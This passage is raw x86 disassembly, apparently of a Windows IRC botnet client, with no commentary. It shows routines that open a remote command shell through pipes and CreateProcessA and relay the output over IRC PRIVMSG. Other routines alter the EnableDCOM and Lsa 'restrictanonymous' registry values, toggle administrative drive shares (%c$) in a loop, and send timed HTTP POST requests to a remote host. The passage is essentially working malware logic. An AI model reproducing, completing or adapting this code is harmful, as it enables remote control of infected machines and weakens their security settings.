push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C056
add esp, 10h
jmp short loc_41A291
; ---------------------------------------------------------------------------
loc_41A27A: ; CODE XREF: sub_41A237+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push eax
call sub_41C056
add esp, 0Ch
loc_41A291: ; CODE XREF: sub_41A237+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
test eax, eax
jg short loc_41A2BA
call sub_41A1CF
loc_41A2BA: ; CODE XREF: sub_41A237+7Cj
xor eax, eax
leave
retn
sub_41A237 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2BE proc near ; DATA XREF: sub_41A413+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DDFC0
loc_41A2D6: ; CODE XREF: sub_41A2BE+79j
; sub_41A2BE+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DDFB4
call dword_428190 ; PeekNamedPipe
test eax, eax
jz loc_41A3A4
cmp [ebp+var_4], edi
jnz short loc_41A339
lea eax, [ebp+var_8]
push eax
push dword_4DDFB0
call dword_42818C ; GetExitCodeProcess
test eax, eax
jz short loc_41A32F
cmp [ebp+var_8], 103h
jnz loc_41A3C8
loc_41A32F: ; CODE XREF: sub_41A2BE+62j
push 0Ah
call dword_428064 ; Sleep
jmp short loc_41A2D6
; ---------------------------------------------------------------------------
loc_41A339: ; CODE XREF: sub_41A2BE+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A350
loc_41A340: ; CODE XREF: sub_41A2BE+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A39E
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A340
loc_41A350: ; CODE XREF: sub_41A2BE+80j
mov [ebp+var_4], esi
loc_41A353: ; CODE XREF: sub_41A2BE+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DDFB4
call dword_4280E8 ; ReadFile
test eax, eax
jz short loc_41A3F0
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DDFF4
call sub_41A237
add esp, 0Ch
jmp loc_41A2D6
; ---------------------------------------------------------------------------
loc_41A39E: ; CODE XREF: sub_41A2BE+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A353
; ---------------------------------------------------------------------------
loc_41A3A4: ; CODE XREF: sub_41A2BE+45j
push offset unk_43C640
push ebx
push dword_4DDFF4
call sub_41A237
push [ebp+arg_0]
call sub_40B2A3
add esp, 10h
push 1
call dword_4280CC ; ExitThread
loc_41A3C8: ; CODE XREF: sub_41A2BE+6Bj
call sub_41A1CF
push offset unk_43C618
push ebx
push dword_4DDFF4
call sub_41A237
push [ebp+arg_0]
call sub_40B2A3
add esp, 10h
push edi
call dword_4280CC ; ExitThread
loc_41A3F0: ; CODE XREF: sub_41A2BE+C3j
push offset unk_43C5E8
push ebx
push dword_4DDFF4
call sub_41A237
push [ebp+arg_0]
call sub_40B2A3
add esp, 10h
push edi
call dword_4280CC ; ExitThread
sub_41A2BE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A413 proc near ; CODE XREF: sub_401B66+2437p
; sub_4161D7+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_41A1CF
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_436228
push esi
call dword_4CDD1C ; SearchPathA
test eax, eax
jz loc_41A50D
lea eax, [ebp+var_1C]
mov edi, dword_428100
push esi
push eax
lea eax, [ebp+var_C]
xor ebx, ebx
push eax
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41A50D
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41A50D
mov edi, dword_4280FC
push 3
push esi
push esi
push offset dword_4DDFB8
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_4280F8 ; DuplicateHandle
test eax, eax
jz short loc_41A50D
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41BD60
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41BD60
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43FE14
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_428070 ; CreateProcessA
test eax, eax
jnz short loc_41A515
loc_41A50D: ; CODE XREF: sub_41A413+2Fj
; sub_41A413+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_41A5C3
; ---------------------------------------------------------------------------
loc_41A515: ; CODE XREF: sub_41A413+F8j
push [ebp+var_4]
mov edi, dword_42806C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DDFB4, eax
mov eax, [ebp+var_8]
mov dword_4DDFBC, eax
mov eax, [ebp+var_2C]
mov dword_4DDFB0, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DDFF4, eax
jz short loc_41A54F
push [ebp+arg_4]
jmp short loc_41A550
; ---------------------------------------------------------------------------
loc_41A54F: ; CODE XREF: sub_41A413+135j
push ebx
loc_41A550: ; CODE XREF: sub_41A413+13Aj
push offset dword_4DDFC0
call sub_41C056
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43C6A4
call sub_40AF8D
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_440BA0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41A2BE
push esi
push esi
call dword_42807C ; CreateThread
cmp eax, esi
mov dword_440BAC[edi], eax
jnz short loc_41A5C1
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_43C670
push eax
call sub_41C056
lea eax, [ebp+var_378]
push eax
call sub_4157A5
add esp, 10h
loc_41A5C1: ; CODE XREF: sub_41A413+185j
xor eax, eax
loc_41A5C3: ; CODE XREF: sub_41A413+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_41A413 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A5C8 proc near ; DATA XREF: sub_401B66+2DC4o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A60F
call sub_41A628
jmp short loc_41A614
; ---------------------------------------------------------------------------
loc_41A60F: ; CODE XREF: sub_41A5C8+3Ej
call sub_41A94E
loc_41A614: ; CODE XREF: sub_41A5C8+45j
add esp, 10h
push [ebp+var_14]
call sub_40B2A3
pop ecx
push 0
call dword_4280CC ; ExitThread
sub_41A5C8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A628 proc near ; CODE XREF: sub_41A5C8+40p
; sub_41AC6A+8p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CDD30, edi
jnz loc_41A75A
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CDCD4 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A6B3
mov ax, word_43B3F0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CDC88 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41A69B
push offset dword_43C944
jmp short loc_41A6A0
; ---------------------------------------------------------------------------
loc_41A69B: ; CODE XREF: sub_41A628+6Aj
push offset dword_43C924
loc_41A6A0: ; CODE XREF: sub_41A628+71j
push eax
call sub_41C056
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CDC40 ; RegCloseKey
jmp short loc_41A6C6
; ---------------------------------------------------------------------------
loc_41A6B3: ; CODE XREF: sub_41A628+36j
lea eax, [ebp+var_214]
push offset dword_43C8F4
push eax
call sub_41C056
pop ecx
pop ecx
loc_41A6C6: ; CODE XREF: sub_41A628+89j
cmp [ebp+arg_C], edi
jnz short loc_41A6E5
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41A6E5: ; CODE XREF: sub_41A628+A1j
lea eax, [ebp+var_214]
push eax
call sub_4157A5
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CDCD4 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A753
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CDC88 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41A73B
push offset dword_43C8A4
jmp short loc_41A740
; ---------------------------------------------------------------------------
loc_41A73B: ; CODE XREF: sub_41A628+10Aj
push offset dword_43C870
loc_41A740: ; CODE XREF: sub_41A628+111j
push eax
call sub_41C056
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CDC40 ; RegCloseKey
jmp short loc_41A76D
; ---------------------------------------------------------------------------
loc_41A753: ; CODE XREF: sub_41A628+E2j
push offset dword_43C834
jmp short loc_41A75F
; ---------------------------------------------------------------------------
loc_41A75A: ; CODE XREF: sub_41A628+13j
push offset dword_43C804
loc_41A75F: ; CODE XREF: sub_41A628+130j
lea eax, [ebp+var_214]
push eax
call sub_41C056
pop ecx
pop ecx
loc_41A76D: ; CODE XREF: sub_41A628+129j
cmp [ebp+arg_C], edi
jnz short loc_41A78C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41A78C: ; CODE XREF: sub_41A628+148j
lea eax, [ebp+var_214]
push eax
call sub_4157A5
cmp dword_4CDD58, edi
pop ecx
jnz loc_41A909
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A7AF: ; CODE XREF: sub_41A628+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CDBA8
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A84E
cmp eax, 0EAh
jz short loc_41A84E
xor esi, esi
loc_41A7DD: ; CODE XREF: sub_41A628+21Fj
push off_43C6CC[esi]
push edi
call sub_41944C
pop ecx
pop ecx
push off_43C6CC[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41A802
push offset dword_43C7E0
jmp short loc_41A807
; ---------------------------------------------------------------------------
loc_41A802: ; CODE XREF: sub_41A628+1D1j
push offset dword_43C7B4
loc_41A807: ; CODE XREF: sub_41A628+1D8j
push 200h
push eax
call sub_41C150
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A834
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41A834: ; CODE XREF: sub_41A628+1F0j
lea eax, [ebp+var_214]
push eax
call sub_4157A5
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_41A7DD
jmp loc_41A8E6
; ---------------------------------------------------------------------------
loc_41A84E: ; CODE XREF: sub_41A628+1AAj
; sub_41A628+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_41A8DD
loc_41A85D: ; CODE XREF: sub_41A628+2B1j
mov edi, [esi]
push edi
call sub_41E017
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A8D2
push edi
call sub_419339
push eax
push 0
call sub_41944C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41A892
push offset dword_43C790
jmp short loc_41A897
; ---------------------------------------------------------------------------
loc_41A892: ; CODE XREF: sub_41A628+261j
push offset dword_43C764
loc_41A897: ; CODE XREF: sub_41A628+268j
push 200h
push eax
call sub_41C150
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A8C5
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41A8C5: ; CODE XREF: sub_41A628+281j
lea eax, [ebp+var_214]
push eax
call sub_4157A5
pop ecx
loc_41A8D2: ; CODE XREF: sub_41A628+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A85D
xor edi, edi
loc_41A8DD: ; CODE XREF: sub_41A628+22Fj
push [ebp+var_8]
call dword_4CDCF4
loc_41A8E6: ; CODE XREF: sub_41A628+221j
cmp [ebp+var_10], 0EAh
jz loc_41A7AF
lea eax, [ebp+var_214]
push offset dword_43C73C
push eax
call sub_41C056
pop ecx
pop ecx
pop ebx
jmp short loc_41A91C
; ---------------------------------------------------------------------------
loc_41A909: ; CODE XREF: sub_41A628+177j
lea eax, [ebp+var_214]
push offset dword_43C70C
push eax
call sub_41C056
pop ecx
pop ecx
loc_41A91C: ; CODE XREF: sub_41A628+2DFj
cmp [ebp+arg_C], edi
jnz short loc_41A93A
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41A93A: ; CODE XREF: sub_41A628+2F7j
lea eax, [ebp+var_214]
push eax
call sub_4157A5
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_41A628 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A94E proc near ; CODE XREF: sub_41A5C8:loc_41A60Fp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CDD30, ebx
push esi
jnz loc_41AA7C
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CDCD4 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A9D9
mov ax, word_43B434
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CDC88 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41A9C1
push offset dword_43CABC
jmp short loc_41A9C6
; ---------------------------------------------------------------------------
loc_41A9C1: ; CODE XREF: sub_41A94E+6Aj
push offset dword_43CAA0
loc_41A9C6: ; CODE XREF: sub_41A94E+71j
push eax
call sub_41C056
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CDC40 ; RegCloseKey
jmp short loc_41A9EC
; ---------------------------------------------------------------------------
loc_41A9D9: ; CODE XREF: sub_41A94E+36j
lea eax, [ebp+var_220]
push offset dword_43C8F4
push eax
call sub_41C056
pop ecx
pop ecx
loc_41A9EC: ; CODE XREF: sub_41A94E+89j
cmp [ebp+arg_C], ebx
jnz short loc_41AA0B
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41AA0B: ; CODE XREF: sub_41A94E+A1j
lea eax, [ebp+var_220]
push eax
call sub_4157A5
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CDCD4 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AA75
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CDC88 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41AA5D
push offset dword_43CA60
jmp short loc_41AA62
; ---------------------------------------------------------------------------
loc_41AA5D: ; CODE XREF: sub_41A94E+106j
push offset dword_43CA28
loc_41AA62: ; CODE XREF: sub_41A94E+10Dj
push eax
call sub_41C056
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CDC40 ; RegCloseKey
jmp short loc_41AA8F
; ---------------------------------------------------------------------------
loc_41AA75: ; CODE XREF: sub_41A94E+E2j
push offset dword_43C9EC
jmp short loc_41AA81
; ---------------------------------------------------------------------------
loc_41AA7C: ; CODE XREF: sub_41A94E+13j
push offset dword_43C804
loc_41AA81: ; CODE XREF: sub_41A94E+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C056
pop ecx
pop ecx
loc_41AA8F: ; CODE XREF: sub_41A94E+125j
cmp [ebp+arg_C], ebx
jnz short loc_41AAAE
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41AAAE: ; CODE XREF: sub_41A94E+144j
lea eax, [ebp+var_220]
push eax
call sub_4157A5
cmp dword_4CDD58, ebx
pop ecx
jnz loc_41AC25
push edi
xor esi, esi
mov edi, 200h
loc_41AACF: ; CODE XREF: sub_41A94E+1EEj
push dword_43C6D0[esi]
push off_43C6CC[esi]
push ebx
call sub_4193A0
add esp, 0Ch
push off_43C6CC[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_41AAFB
push offset dword_43C9CC
jmp short loc_41AB00
; ---------------------------------------------------------------------------
loc_41AAFB: ; CODE XREF: sub_41A94E+1A4j
push offset dword_43C9A4
loc_41AB00: ; CODE XREF: sub_41A94E+1ABj
push edi
push eax
call sub_41C150
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41AB29
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41AB29: ; CODE XREF: sub_41A94E+1BFj
lea eax, [ebp+var_220]
push eax
call sub_4157A5
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_41AACF
call dword_428194 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41AC0D
loc_41AB51: ; CODE XREF: sub_41A94E+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41AC02
cmp bl, 41h
jz loc_41AC02
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C150
push esi
push offset aC_1 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41C150
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_4CDCC4 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41AC02
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_4193A0
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_41ABC6
push offset dword_43C9CC
jmp short loc_41ABCB
; ---------------------------------------------------------------------------
loc_41ABC6: ; CODE XREF: sub_41A94E+26Fj
push offset dword_43C9A4
loc_41ABCB: ; CODE XREF: sub_41A94E+276j
push edi
push eax
call sub_41C150
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41ABF5
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41ABF5: ; CODE XREF: sub_41A94E+28Bj
lea eax, [ebp+var_220]
push eax
call sub_4157A5
pop ecx
loc_41AC02: ; CODE XREF: sub_41A94E+20Bj
; sub_41A94E+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_41AB51
loc_41AC0D: ; CODE XREF: sub_41A94E+1FDj
lea eax, [ebp+var_220]
push offset dword_43C974
push eax
call sub_41C056
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41AC38
; ---------------------------------------------------------------------------
loc_41AC25: ; CODE XREF: sub_41A94E+173j
lea eax, [ebp+var_220]
push offset dword_43C70C
push eax
call sub_41C056
pop ecx
pop ecx
loc_41AC38: ; CODE XREF: sub_41A94E+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_41AC56
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_41AC56: ; CODE XREF: sub_41A94E+2EDj
lea eax, [ebp+var_220]
push eax
call sub_4157A5
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_41A94E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41AC6A proc near ; CODE XREF: sub_41AC6A+1Cj
; DATA XREF: sub_401252+428o
push 1
push 0
push 0
push 0
call sub_41A628
add esp, 10h
push dword_43C6C8
call dword_428064 ; Sleep
jmp short sub_41AC6A
sub_41AC6A endp
; =============== S U B R O U T I N E =======================================
sub_41AC88 proc near ; CODE XREF: sub_41AE7F+CBp
; sub_41AE7F+DDp ...
arg_0 = dword ptr 4
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
call sub_41C0B2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AC88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACA2 proc near ; CODE XREF: sub_41AE7F+D4p
; sub_41AE7F+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B7B0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41AE7B
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BD60
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AA04
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41AE7B
push 50h
call dword_4CDC64 ; ntohs
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CDCE4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41AE7B
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jz loc_41AE7B
push 32003h
call sub_41D795
mov edi, dword_4280A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41C0A8
call sub_41C0B2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BD60
push 32000h
push esi
push ebx
call sub_41BD60
push ebx
call sub_41B7B0
push 323EAh
mov ebx, eax
call sub_41D795
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C056
push [ebp+var_8]
push esi
call sub_41C690
push offset asc_436514 ; "\r\n"
push esi
call sub_41C690
add esp, 40h
push esi
call sub_41B7B0
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41ADF9
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41ADC9
; ---------------------------------------------------------------------------
loc_41ADC6: ; CODE XREF: sub_41ACA2+155j
mov eax, [ebp+arg_0]
loc_41ADC9: ; CODE XREF: sub_41ACA2+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
add eax, esi
cmp ecx, ebx
jnb short loc_41ADDB
push [ebp+var_C]
jmp short loc_41ADDC
; ---------------------------------------------------------------------------
loc_41ADDB: ; CODE XREF: sub_41ACA2+132j
push ebx
loc_41ADDC: ; CODE XREF: sub_41ACA2+137j
push eax
push [ebp+var_4]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41AE62
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41ADC6
loc_41ADF9: ; CODE XREF: sub_41ACA2+118j
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_428714
fst [ebp+arg_0]
fcomp flt_428710
fnstsw ax
test ah, 44h
jp short loc_41AE23
fld1
fstp [ebp+arg_0]
loc_41AE23: ; CODE XREF: sub_41ACA2+17Aj
push [ebp+var_4]
call dword_4CDCFC ; closesocket
push [ebp+var_8]
call sub_41B881
push esi
call sub_41B881
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_42870C
fmul flt_428708
call sub_41CF68
loc_41AE5D: ; CODE XREF: sub_41ACA2+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41AE62: ; CODE XREF: sub_41ACA2+147j
push [ebp+var_4]
call dword_4CDCFC ; closesocket
push [ebp+var_8]
call sub_41B881
push esi
call sub_41B881
pop ecx
pop ecx
loc_41AE7B: ; CODE XREF: sub_41ACA2+19j
; sub_41ACA2+42j ...
xor eax, eax
jmp short loc_41AE5D
sub_41ACA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE7F proc near ; CODE XREF: sub_401B66+2E19p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
